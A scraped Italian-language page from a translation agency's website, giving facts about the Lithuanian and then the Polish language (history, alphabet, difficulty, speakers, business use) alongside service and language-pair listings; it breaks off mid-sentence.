JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA LITUANA Il lituano è una lingua baltica appartenente alla famiglia delle lingue indoeuropee, è strettamente imparentata con il lettone ed è la lingua madre di circa 4 milioni di persone, le quali si trovano soprattutto il Lituania, dove è l’unica lingua ufficiale. Essa è usata come lingua minoritaria in Lettonia, Estonia e in parte anche in Polonia e Bielorussia, ed è la più antica lingua della famiglia indoeuropea ancora in uso. Per quanto riguarda la somiglianza alle antiche forme della lingua protoindoeuropea, tra le tre lingue baltiche, ossia lituano, lettone e prussiano, il lituano è la seconda per similarità. Di fatti, la sua grammatica è molto più vicina a quella del protoindoeuropeo rispetto a quella del lettone, ma resta sempre più moderno del prussiano, il quale si è estinto nel XVIII secolo, rendendo il lituano la più antica lingua indoeuropea vivente. Di conseguenza, oggi il lituano è la più antica lingua indoeuropea vivente. Diversamente dalla lingua curlandese, semigallica, selonica e lettone, nel lituano non sono attestabili influenze provenienti dalle lingue ugrofinniche. Tuttavia, tali influenze sono visibili nel nord della Lituania dove erano stanziati i curlandesi, i semigalli e i selonici. La mescolanza di queste lingue ha avuto il maggiore impatto sull’accento delle parole nei sottodialetti lituani settentrionali. Il lituano è imparentato con il lettone. Secondo gli studi, queste lingue si sono sviluppate parallelamente fino al XIII secolo quando poi si sono divise. Le loro origini si possono far risalire al terzo secolo a. C. , quando l’antico popolo dei balti era insediato nelle coste baltiche. All'interno della lingua lituana si distinguono due dialetti principali: il dialetto aukštaiziano e quello samogitico (letteralmente lituano di pianura e di montagna). Entrambi i dialetti contengono tre sottodialetti, ulteriormente suddivisi in 14 varianti. La più antica testimonianza scritta di lituano è un testo liturgico risalente al 1525, mentre il primo libro lituano stampato fu mandato in stampa per motivi religiosi nel 1547 a Königsberg. Si tratta del catechismo di Martynas Mažvydas, ossia il primo libro in Lituano. Esso è stato scritto nel sottodialetto samogitico meridionale. Tuttavia, vi sono tracce anche del sottodialetto aukštaitiano occidentale. Inoltre, circa il 20% delle parole contenute nel libro erano prestiti linguistici, soprattutto slavismi. Nel periodo che va tra il XVI al XVIII secolo, nel Gran ducato di Lituania erano utilizzati due tipi di sistemi di scrittura: il sistema orientale, basato sul sottodialetto aukštaiziano orientale e utilizzato nella zona di Vilnius; e quello creato nella Lituania centrale, vicino alla città di Kėdainiai, basato invece sulla variante locale del sottodialetto aukštaiziano occidentale. Jonas Jablonskis ha contribuito in modo significativo allo sviluppo della lingua lituana standard, la quale si basa sul dialetto aukštaiziano . Lo sviluppo del lituano standard è avvenuto in condizioni tutt’altro che semplici per la nazione. Di fatti, dopo il 1864, per praticamente mezzo secolo, la politica di russificazione perseguita dall’Impero russo impedì la pubblicazione di letteratura in lituano nel territorio che oggi è occupato dalla Lituania. Ciononostante, i libri venivano contrabbandati di nascosto. Quando dal 1863 al 1904 l’Impero russo impedì l’uso dell’alfabeto latino all’interno del proprio territorio (in quegli anni la Lituania era parte dell’Impero russo), molte persone rischiarono la propria vita per portare in Prussia i libri in Lituano. Oggigiorno, questi contrabbandieri di libri sono eroi nazionali, tanto che è stato eretto loro un monumento, unico nel suo genere, per celebrare il loro disinteressato patriottismo. In lituano, la maggior parte dei prestiti linguistici è di origine slava (russo antico, bielorusso, polacco e russo) o germanica. Ciò è spiegato dall’influenza storica di queste lingue, nonché dagli stretti legami tra il Gran ducato di Lituania e la Prussia. Inoltre, il lituano contiene anche prestiti dalle lingue baltiche e ugrofinniche. Nel XX secolo, la maggior parte dei prestiti linguistici era di origine russa. Tuttavia, con il ripristino dell’indipendenza, il numero di prestiti dall’inglese (anglicismi) è aumentato. Molti dei nomi propri di persona più diffusi sono legati alla natura. Ciò è spiegato dal fatto che in antichità i lituani, come anche i lettoni, vivevano a contatto con la natura ed erano soliti dare ai propri figli nomi di alberi, fenomeni naturali o fiori. Alcune parole, ad esempio Rūta (fiore, pianta medicinale), Eglė (abete), Aušra (mattino) e Gintaras (ambra), sono comuni ancora oggi. Uno dei fatti più interessanti del lituano e dei lituani è la possibilità di capire se una donna è sposata o meno dal suo cognome. Se una donna lituana decide di adottare il cognome di suo marito una volta sposata, allora sarà aggiunta al suo cognome la desinenza -ienė. Ad esempio, se una donna di cognome Kazlauska si sposa, il suo cognome diventa Kazlauskienė. Se invece il cognome di una donna termina in -ytė o -aitė, do solito non è sposata. Tuttavia, questa è una tradizione che sta lentamente scomparendo. Di fatti, sempre più spesso in Lituania le donne scelgono di scrivere il proprio nome con la desinenza -ė (in questo caso sarà quindi Kazlauskė, non Kazlauskaite o Kazlauskiene). In questo modo non sarà possibile capire lo stato civile della donna leggendo semplicemente il suo cognome. L'ALFABETO LITUANO L’odierno sistema di scrittura lituano è prevalentemente morfologico ed è stato fondato tra la fine del XIX e l'inizio del XX secolo. Già dalle prime testimonianze scritte di lituano (risalenti al XVI secolo), è possibile constatare l’uso dell'alfabeto latino. Al giorno d’oggi, l’alfabeto utilizzato dal lituano è composto da 32 lettere: 12 vocali (a, ą, e, ę, ė, i, į, y, o, u, ų, ū) e 20 consonanti (b, c, č, d, f, g, h, j, k, l, m, n, p, r, s, š, t, v, z, ž). Per indicare i fonemi /x/, /ʣ/ e /ʤ/, si possono usare anche le combinazioni di lettere "ch", "dz" e "dž". Da un punto di vista fonologico si distinguono 14 fonemi vocalici e 45 consonantici. Mentre i fonemi vocalici possono formare sillabe anche per conto proprio, quelli consonantici non possono. A differenza del lettone, tutte le consonanti del lituano, a parte la j che è sempre dolce, possono essere sia dure che dolci a seconda della posizione. QUANTO È DIFFICILE LA LINGUA LITUANA? Il lituano è un esercizio per il cervello. È una lingua antica che assomiglia all’indiano sanscrito classico e, in parte, anche al latino e la greco. Essa è la lingua indoeuropea ancora in uso più antica ed è ancora oggi studiata dai ricercatori. La complessità del lituano deriva proprio dal suo status di lingua indoeuropea più antica. Essa è considerata una delle lingue più difficili al mondo. Secondo l'US Foreign Service Institute, il lituano rientra nella categoria delle lingue molto difficili, ma rimane sempre più facile da imparare rispetto all’arabo, il coreano o il cinese. La sua complessità è dovuta certamente alla sua grammatica, le cui regole non sono riscontrabili in nessun altra lingua del mondo, e alla sua fonetica. A seconda di come sono utilizzate, le parole possono essere accentate in diversi modi, acquisendo ogni volta significati completamente differenti. Inoltre, i lituani usano molti diminutivi e non hanno parolacce. Perciò, se sentono il bisogno di imprecare, il massimo che possono fare è chiamare l’altra persona rospo o serpente. Essi hanno anche la lettera "ė", che non esiste in nessun'altra lingua. Essa, essendo utilizzata come desinenza dei nomi femminili, è considerata simbolo di femminilità. Se si volesse imparare a leggere il lituano non si avrebbero grandi problemi: le lettere si pronunciano come si scrivono. È difficile distinguere i generi dei sostantivi. I lituani stessi scherzano dicendo che il modo più veloce per imparare la loro lingua è quello di innamorarsi con un uomo o con una donna lituana. I NOSTRI INTERPRETI E TRADUTTORI DI LITUANO Il nostro team di interpreti e traduttori di lituano si occupa sia della traduzione scritta di documenti standard sia di traduzioni certificate da un notaio. Naturalmente, forniamo anche servizi di interpretazione simultanea. Skrivanek si occupa anche della correzione di bozze e del miglioramento stilistico di testi in lituano e, se necessario, della revisione e del controllo terminologico. I servizi di traduzione che forniamo più spesso da/verso il lituano sono: traduzioni di contenuti per l’e-commerce e di homepage, di etichette di prodotti, di slogan pubblicitari, di testi SEO, di parole chiave di Google, servizi di localizzazione e di adattamento di contenuti, nonché traduzioni per il marketing, di documenti legali e di documenti commerciali. Inoltre, data la stretta cooperazione economica tra Lettonia e Lituania, offriamo anche servizi di traduzione nei campi dell’attrezzatura e della tecnologia, della finanza, della medicina, della comunicazione, delle relazioni pubbliche, dei trasporti, della scienza, dell’agricoltura, del settore tessile, del turismo, dell’industria, delle scienze naturali, del commercio all’ingrosso, della tecnologia per la traduzione e traduzioni di documenti dell’Unione europea. Per i privati, ci occupiamo della traduzione di documenti d’identità, di certificati di matrimonio, di documenti relativi all’istruzione o alla formazione, di passaporti, di documentazione medica, ma anche di altri tipi di documenti. DOVE E IN QUANTI PARLANO LITUANO? Il lituano è la lingua ufficiale della Lituania e in questa nazione l’85% della popolazione è madrelingua, mentre il 90% lo parla fluentemente. Ma essa è parlata anche al di fuori di questo paese. Ad esempio, un discreto numero di parlanti è stanziato in Polonia, dove il lituano è anche previsto dai programmi formativi locali. Dal XIX secolo, l’aumento dell’emigrazione ha fatto sì che anche i residenti di altri paesi si identificassero con la lingua. Così si sono formate comunità di lingua lituana in paesi come gli Stati uniti, il Regno unito e la Norvegia. Il numero totale di parlanti nel mondo potrebbe aggirarsi attorno ai 4 milioni. Il lituano è la lingua madre di circa 2,4 milioni di persone. Tra il XIX e il XXI secolo, i lituani non sono solo emigrati nelle nazioni confinanti alla Lettonia, ma anche in altri continenti, soprattutto negli Stati uniti dove, secondo le stime, vivono circa 600. 000 lituani. L’emigrazione in questo paese è iniziata nel XIX secolo e fu sospesa durante il periodo dell’occupazione sovietica a causa dell’imposizione di severe restrizioni su viaggi ed emigrazione. Dal crollo dell'Unione Sovietica nel 1991, circa 200. 000 lituani sono emigrati negli Stati Uniti e Chicago è considerata la capitale dei lituani in questo paese. Inoltre, circa 60. 000 lituani vivono in Canada. In più, tra la fine del XIX secolo e l’inizio del XX, prima della Seconda guerra mondiale, si sono formate delle comunità lituane anche in Messico e in Sud America (Argentina, Brasile, Colombia e Venezuela). Tuttavia, dato che le condizioni economiche di queste nazioni non sono migliori di quelle del paese baltico, il flusso di migranti si è fermato. Sono circa 230. 000 i lituani che al giorno d’oggi vivono in queste nazioni. A cavallo tra il XIX e il XX secolo, si formarono delle comunità lituane anche in Sud Africa, le quali sono composte principalmente da ebrei. Durante il periodo dell’occupazione sovietica, si sono formate comunità lituane anche nelle regioni dell’ex Unione sovietica, soprattutto in Siberia e in Asia centrale, dove il numero di lituani vide una forte crescita dovuta alle deportazioni in questi luoghi. Tuttavia, finita l’occupazione, la maggior parte di essi tornò in Lituania. Altri furono invece trasferiti a lavorare in altri territori dell’Unione Sovietica e, dopo l’indipendenza, non tutti ritornarono alla loro madre patria. Oggigiorno, sono circa 86. 000 i lituani che vivono in Russia. Le comunità lituane iniziarono a stanziarsi in Europa nord occidentale (Regno Unito, Irlanda, Svezia, Norvegia e Irlanda) relativamente tardi, ossia dopo la restaurazione dell’indipendenza Lituana del 1990. Questi flussi migratori aumentarono una volta che il paese entrò a far parte dell’Unione europea nel 2004. Probabilmente, per quanto riguarda l’Europa occidentale, la maggiore concentrazione di lituani si trova nella Repubblica d’Irlanda, dove vivono circa 45. 000 lituani (di cui circa la metà sono registrati), quindi più dell’1% della popolazione. Sono invece circa 47. 000 quelli che vivono in Norvegia, piazzandosi quindi al secondo posto tra le minoranze etniche della nazione. Essi sono lo 0,85% della popolazione totale della Norvegia, nonché il 4,81% di tutti gli stranieri residenti nella nazione. In Islanda vivono circa 3. 500 lituani, pari all'1% della popolazione totale. In Germania, la comunità lituana ha iniziato a formarsi dopo la Seconda guerra mondiale. Nel 1950 fondarono a Diepholz un liceo lituano, il quale era una scuola privata per i figli dei rifugiati provenienti da questa nazione. Per decenni, tale liceo è stato l’unico liceo a tempo pieno, al di fuori del blocco orientale, dove venivano offerti corsi di storia, lingua e cultura lituana. In seguito, nel 1954, la comunità lituana acquistò il maniero Rennhof e il suo parco di dodici acri, i quali si trovano nella città di Lampertheim-Heitenfeld, e trasferì lì la scuola ed è dove essa si trova tutt’ora: https://www. gimnazija. de/en. Oggi la scuola si chiama Liceo 16 febbraio. Si possono incontrare comunità lituane anche in Australia. Tuttavia, a causa della grande distanza dall'Europa, sono di dimensioni molto piccole. IL LITUANO NEL COMMERCIO Nel commercio, il lituano è utilizzato principalmente in Lituania. È tuttavia utile conoscere alcune semplici ed educate frasi da utilizzare nella conversazione per instaurare delle relazioni commerciali con imprenditori lituani. Di fatti, essendo un popolo orgoglioso della propria lingua, essi apprezzeranno sicuramente . Per stabilire relazioni commerciali, gli imprenditori lituani utilizzano principalmente il russo, il polacco e l'inglese. I partner commerciali principali degli imprenditori di questa nazione sono i paesi dell’Unione Europea, nei quali vengono esportati componenti auto e prodotti cerealicoli. I lituani conoscono diverse lingue, tra cui spesso figurano russo, inglese, francese e tedesco. Di fatti, la Lituania è tra le prime 5 nazioni dell’Unione europea per persone che parlano almeno due lingue straniere. Il 90% della popolazione è in grado di tenere una conversazione in almeno una lingua straniera mentre circa il 50% in due. Secondo i ricercatori, le aziende lituane collaborano più spesso con stranieri che non conoscono che con lituani che non conoscono. I principali partner commerciali della Lituania sono Russia, Germania, Lettonia, Estonia, Polonia, Paesi Bassi e Bielorussia. Minerali, prodotti chimici, prodotti tessili e abbigliamento, macchine e attrezzature, prodotti alimentari, legno e prodotti derivati e plastica rappresentano rappresentano più del 60% delle esportazioni. Per quanto riguarda i beni importati invece, si parla soprattutto di minerali, mezzi di trasporto, prodotti chimici, prodotti tessili e di abbigliamento. RELAZIONI BILATERALI TRA LITUANIA E LETTONIA Sono circa 27. 000 i lituani che al momento si trovano in Lettonia ed essi costituiscono la quinta minoranza di questa nazione. Sono invece circa cinquemila i cittadini della Repubblica di Lituania, indipendentemente dalla nazionalità, che vivono in Lettonia in modo permanente. La maggior parte dei lituani vive a Riga e nel confine con la Lituania, ossia a Liepāja e nel suo distretto, nella municipalità di Bauska, in quella di Saldus, in quella di Dobele, a Jelgava e nella sua municipalità, nonché a Daugavpils e nella sua municipalità. I primi lituani si insediarono nel territorio dell'odierna Lettonia tra il VII e il XII secolo. Con lo sviluppo dell’industria manifatturiera, tra l’inizio del XIX secolo e la fine del XX, ci fu una significativa crescita dell’immigrazione dei lituani in Lettonia, i quali si stanziarono principalmente a Riga, Liepāja, Bauska, Jelgava e Ventspils in cerca di lavoro e istruzione. Molti lituani lavorarono presso la Rīgas Vagonbūves Rūpnīca Fēnikss, il produttore di gomma Provodnik, segherie, filande per biancheria, birrerie, officine di mobili, depositi di tram, porti, ma anche in altri luoghi. Dopo la dichiarazione degli Stati sovrani di Lituania e Lettonia del 1918, alcuni lituani tornarono in madre patria. Per avvicinarsi alla Lituania, negli anni Sessanta e Settanta molti ex prigionieri politici e lituani in esilio, ai quali le autorità sovietiche lituane avevano impedito di tornare in patria, si stabilirono in Lettonia (a Daugavpils, Jelgava, Liepāja, Riga, nei loro dintorni ma anche altrove). Tra il 1988 e il 1995 i lituani lettoni parteciparono attivamente alle attività del Fronte Popolare Lettone. La Lettonia e la Lituania sono legate da una stretta cooperazione, da interessi comuni nella regione del Mar baltico, nonché da un partenariato strategico con l’Unione europea e con la NATO. C’è inoltre un frequente e attivo dialogo politico tra i due paesi, il quale avviene a diversi livelli. Si è sviluppata anche una pratica nonché efficace collaborazione tra i parlamenti nazionali, tra i ministri, tra le municipalità e le organizzazioni non governative. Il comune contesto storico di Lettonia e Lituania e gli stretti rapporti tra i cittadini favoriscono una cooperazione non-governativa, permettono lo svolgimento di progetti transfrontalieri ed incoraggiano la cooperazione in diverse aree, come ad esempio nella cultura, nell’istruzione e nel turismo. La Lituania è uno dei più importanti partner commerciali della Lettonia e le due nazioni hanno legami economici stabili. La cooperazione nell’ambito dell’istruzione tra Lettonia e Lituania si basa sugli accordi tripartiti di cooperazione tra le nazioni baltiche, ma anche su programmi e progetti di istruzione delle nazioni baltiche e nordiche, dei paesi del mar Baltico, del Consiglio d’Europa e dell’UE. C’è un attivo flusso di studenti, dottorandi, docenti e ricercatori che si basa su un accordo interministeriale di scambio di studenti, ricercatori e di personale docente. Gli istituti di istruzione superiore lettoni hanno firmato accordi di cooperazione con l'Università di Vilnius, con l'Università di Klaipeda, con l'Università Vytautas Magnus, con l'Università Mikolas Romeris, con l'Università di medicina di Kaunas, con l'Università di giurisprudenza di Vilnius, con l'Accademia lituana di musica e teatro, con l'Accademia delle arti di Vilnius, con l'Università lituana di scienze dell'educazione, ecc. Il liceo lituano di Riga è in funzione dal 1991: https://www. rlvs. lv. Tramite lo scambio di artisti e direttori d’orchestra, l'Opera Nazionale Lettone collabora attivamente con l'Opera Nazionale Lituana. Anche i musei d'arte, le biblioteche nazionali e gli archivi delle due nazioni lavorano a stretto contatto. Il Museo nazionale delle belle arti di Lettonia ha una proficua collaborazione con il Museo nazionale lituano di belle arti a Vilnius Sono diverse le università lettoni che prevedono il lituano come corso a scelta e come parte dei programmi universitari. Ulteriori informazioni sui programmi di studio presso l'Università di Riga Stradins sono disponibili qui, mentre per quelli presso l'Università della Lettonia qui. L'Ambasciata di Lituania in Lettonia, che ha sede a Riga, assiste i cittadini lituani in Lettonia: https://lv. mfa. lt. I NOSTRI SERVIZI LINGUISTICI IN LINGUA LITUANA PIÙ RICHIESTI: traduzioni generali e specialistiche in lingua lituana; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione in lingua lituana; corsi di lingua lituana; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a lituano; da lituano a lettone; da estone a lituano; da lituano a estone; da lituano a polacco; da polacco a lituano; da russo a lituano; da ceco a lituano; da lituano a ceco; da ucraino a lituano; da lituano a ucraino; da inglese a lituano; da lituano a inglese; da lituano a spagnolo; da spagnolo a lituano; da tedesco a lituano; lituano a tedesco; da italiano a lituano; da italiano a lituano; da francese a lituano; da lituano a francese; da danese a lituano; da lituano a danese; da norvegese a lituano; da lituano a norvegese; da svedese a lituano; da lituano a svedese; da finlandese a lituano; da lituano a finlandese ma anche altre combinazioni. I NOSTRI SERVIZI LINGUISTICI IN LINGUA LITUANA PIÙ RICHIESTI: Traduzioni generali e specialistiche in lingua lituana. traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione in lingua lituana; corsi di lingua lituana; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a lituano; da lituano a lettone; da estone a lituano; da lituano a estone; da lituano a polacco; da polacco a lituano; da russo a lituano; da ceco a lituano; da lituano a ceco; da ucraino a lituano; da lituano a ucraino; da inglese a lituano; da lituano a inglese; da lituano a spagnolo; da spagnolo a lituano; da tedesco a lituano; lituano a tedesco; da italiano a lituano; da italiano a lituano; da francese a lituano; da lituano a francese; da danese a lituano; da lituano a danese; da norvegese a lituano; da lituano a norvegese; da svedese a lituano; da lituano a svedese; da finlandese a lituano; da lituano a finlandese ma anche altre combinazioni. --- > Traduzioni generali e specializzate, interpretazione, localizzazione e altre soluzioni in lingua polacca. Ottenete un preventivo gratuito entro 15 minuti! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL POLACCO QUANTO COSTANO LE TRADUZIONI DA E VERSO IL POLACCO? Il costo delle traduzioni in polacco viene calcolato singolarmente per ogni ordine tenendo conto delle sue caratteristiche. Ad esempio, il prezzo dei servizi di interpretazione consecutiva e simultanea dipende dalla durata del servizio, dal luogo dell'evento, dalle spese di viaggio, dalla diaria. In particolare, per il servizio di interpretazione consecutiva, vengono conteggiate delle spese aggiuntive per il supporto tecnico, le quali dipendono, tra gli altri, dal numero di partecipanti all'evento, ecc. Il prezzo delle traduzioni scritte dipende invece dal contenuto e dalla leggibilità del materiale, dal termine di consegna, dalle ripetizioni presenti nel testo, dalla complessità e formattazione delle immagini e della grafica, dalla revisione e da altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta, come anche quelli di interpretazione, di localizzazione e di adattamento da e verso il polacco è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek Baltic forniscono sempre informazioni sul prezzo dell’ordine. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni del testo di partenza e la complessità dell’elemento grafico concorrono alla definizione del prezzo finale. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il polacco? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua polacca: Traduzione di documenti in polacco Interpretazione simultanea in polacco Validazione linguistica di traduzioni in polacco Interpretazione consecutiva in polacco Trascrizione in polacco Grafica e composizione tipografica in polacco Servizi di voice over e di sottotitolaggio in polacco Servizi di selezione di staff polacco Marketing multiculturale in polacco Gestione di documenti in polacco Servizi di deposizione in polacco Servizi di data room virtuali in polacco Supporto per l'e-learning in polacco Cercate un servizio linguistico in polacco? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA POLACCA I dialetti del polacco sono divisi in due gruppi. Il primo gruppo è quello dei dialetti lechitici orientali ed è a sua volta composto da 4 dialetti: il polacco maggiore, il polacco minore, il mazoviano e il slesiano. Il secondo gruppo è quello dei dialetti lechitici occidentali (costieri), il quale comprende il casciubo, considerato una lingua a sé stante. Oggigiorno, il dialetto slesiano è molto diffuso ed è utilizzato non non soltanto dagli abitanti dei villaggi polacchi. Il casciubo è invece più che altro una lingua regionale. In base al suo status e alla sua diffusione, il polacco ha avuto il seguente sviluppo: il polacco antico (dal XVI secolo fino alla creazione della lingua polacca comune); dal XVII secolo alla metà del XIX secolo (insieme alla diffusione e alla standardizzazione del polacco letterario); la nuova lingua polacca (frutto della cultura linguistica polacca e della diffusione della lingua in tutte le classi sociali); la lingua contemporanea (dopo la seconda guerra mondiale e il recupero dello status di lingua di Stato). Il polacco come lingua a sé stante ha iniziato a formarsi nel X secolo. Il polacco conta circa 140. 000 parole. Come tutte le lingue slave, il polacco è ricco di diminutivi, i quali aiutano a creare diverse espressioni. Chicago è considerata la sede della più grande minoranza polacca degli Stati Uniti. La lingua polacca ha un numero record di parole, per esempio: szczęście (fortuna), źdźbło (stelo d'erba), pszczoła (ape), ecc. Ciò è una vera sfida per gli studenti della lingua. Il Polacco è sicuramente una delle lingue più difficili del mondo; non a caso è molto diffusa la maglietta con la stampa “I speak Polish. What’s your superpower? ” (Io parlo polacco, qual è il tuo super potere? ) La lingua polacca ha molte coppie di lettere che corrispondono a un unico fonema. In linguistica si dicono digrammi (in polacco: dwuznaki) e sono: cz, ch, sz, rz, dz, dż e dź. Questa caratteristica fonetica della lingua rende le parole particolarmente complicate da pronunciare ed è per questo che il polacco è considerato una delle lingue del mondo più difficili da imparare. In realtà, i polacchi pronunciano Łódź, una città della Polonia, come Vudža e non Lodz o Lodza, come si pronuncia di solito in italiano e in lettone rispettivamente. Frederick Chopin, uno dei più famosi musicisti polacchi e del mondo di tutti i tempi, nonché compositore e interprete di musica per pianoforte, è l'orgoglio della Polonia. Si dice che il suo cuore sia sepolto nella chiesa della Santa Croce a Varsavia. Sempre in questa città si trovano alcune panche che suonano frammenti di composizioni di Chopin. Il famoso astronomo Niccolò Copernico nacque nel XVI secolo a Toruń. Se siete in Polonia e volete regalare a qualcuno dei fiori, assicuratevi di dargliene un numero dispari e di evitare fiori culturalmente connotati, come ad esempio i crisantemi gialli, i quali sono usati per decorare le tombe, oppure fiori rossi e bianchi come gigli e garofani Controllando circa il 70% del mercato mondiale, la Polonia è il maggiore esportatore di ambra del mondo. In Polonia vivono gli animali più pesanti d'Europa. Con un peso medio di oltre 600 kg, il bisonte europeo è l'animale terrestre più pesante d'Europa. È possibile vederli scorrazzare nei 150. 000 ettari della Foresta di Białowieża in Polonia. Essa è l’ultima foresta primaria in Europa ed è diffusa in tutto il continente. Marie Curie, la donna che scoprì il polonio (nome dato in onore al suo luogo di nascita, la Polonia) e il radio, non era francese, ma polacca. Di fatti, prima di sposare il francese Pierre Curie, il suo nome era Marie Salomea Skłodowska. È stata la prima donna a ricevere due volte il premio Nobel e li ricevette in due diversi rami della scienza. In Polonia è ancora diffuso baciare le mani alle signore; gli uomini polacchi ancora oggi amano attenersi al "codice cavalleresco". L'ALFABETO POLACCO L'alfabeto polacco si basa sull'alfabeto latino e al giorno d’oggi è composto da 32 lettere: Aa, Ąą, Bb, Cc, Ćć, Dd, Ee, Ęę, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Łł, Mm, Nn, Ńń, Oo, Óó, Pp, Rr, Ss, Śś, Tt, Uu, Ww, Yy, Zz, Ź, Żż e Qq, Vv e Xx sono utilizzate solo nelle parole straniere. Il polacco letterario ha otto vocali - a, o, u (ortograficamente ó), e, i, y, ę (e nasale), ą (o nasale) senza differenze di lunghezza - e le seguenti consonanti: b, c, cz, ć, d, dz, dż, f, g, h (ortograficamente ch), j, k, l, ł, m, n, ń, p, r, s, sz, ś, t, w, z, ż (ortograficamente rz), ź. QUANTO È COMPLESSA LA LINGUA POLACCA? Il polacco è una delle lingue più difficili al mondo. Essa si trova al quinto posto dopo il mandarino, l'arabo, il telugu e il giapponese. Anche se la scrittura polacca usa lettere che derivano dall’alfabeto latino, sono necessarie delle lettere aggiuntive per rendere la fonetica, le caratteristiche grammaticali, le consonanti e le catene di dittonghi presenti nelle parole, cosa rara in altre lingue. Sono necessarie come minimo 44 settimane o 1. 100 ore di studio per riuscire ad intrattenere semplici conversazioni in polacco. Nell’apprendimento di questa lingua, la prima vera sfida è la pronuncia, soprattutto di quelle parole che hanno catene di dittonghi, come ad esempio: bezwzględny (spietato). Un fonema è solitamente contrassegnato da una coppia di lettere, ma a volte può essere anche indicato da gruppi di tre lettere. Come se non bastasse, ci si mette anche la grammatica a complicare l’apprendimento di questa lingua, essendo essa caratterizzata da 3 generi grammaticali, 7 casi e dalla necessità di coniugare i verbi. DOVE E QUANTE PERSONE PARLANO POLACCO? Il polacco è la lingua madre di più di 50 milioni di persone in tutto il mondo. 38 milioni di essi vive in Polonia, 12 milioni nei Paesi europei e 8 milioni in altre parti del mondo (Stati Uniti, Canada, Australia). Esso è quindi utilizzato principalmente in Polonia ed è la lingua madre dei suoi cittadini. Il polacco è la lingua ufficiale di questa nazione, nonché la lingua della diaspora polacca nell’Europa centrale e orientale, nelle nazioni europee, negli Stati uniti, in Australia e in Sudafrica. Sono circa 20 milioni gli individui di origine polacca che non vivono in Polonia, rendendo la diaspora polacca una delle più grandi del mondo. Le maggiori minoranze polacche si trovano in Bielorussia, Ucraina e Lituania. Tuttavia, molti polacchi vivono e usano il polacco anche in Lettonia, Regno Unito, Romania, Repubblica Ceca, Russia, Brasile, Argentina, Stati Uniti d'America, Canada, Germania, Francia, Australia, Irlanda e Israele. I NOSTRI TRADUTTORI E INTERPRETI DI POLACCO A Skrivanek Baltic, il team di traduttori e interpreti di polacco fornisce sia traduzioni scritte di documenti standard che traduzioni tecniche più complesse, come anche traduzioni certificate da un notaio. Offriamo anche servizi di editing e di correzione stilistica di testi in polacco, come anche di creazione di contenuti SEO adatti al mercato e alla mentalità polacca. I nostri linguisti specializzati in polacco possono informarvi sulle differenze culturali, sul comportamento da tenere con i vostri partner commerciali polacchi, ma anche sulla storia e sulle tradizioni di questa nazione. Per le aziende nostre clienti ci occupiamo spesso di tradurre siti web e contenuti per l’e-commerce, di adattare slogan pubblicitari, di tradurre accordi di cooperazione, atti legislativi, sentenze e documentazione commerciale da e verso il polacco. Offriamo anche servizi di interpretazione consecutiva di 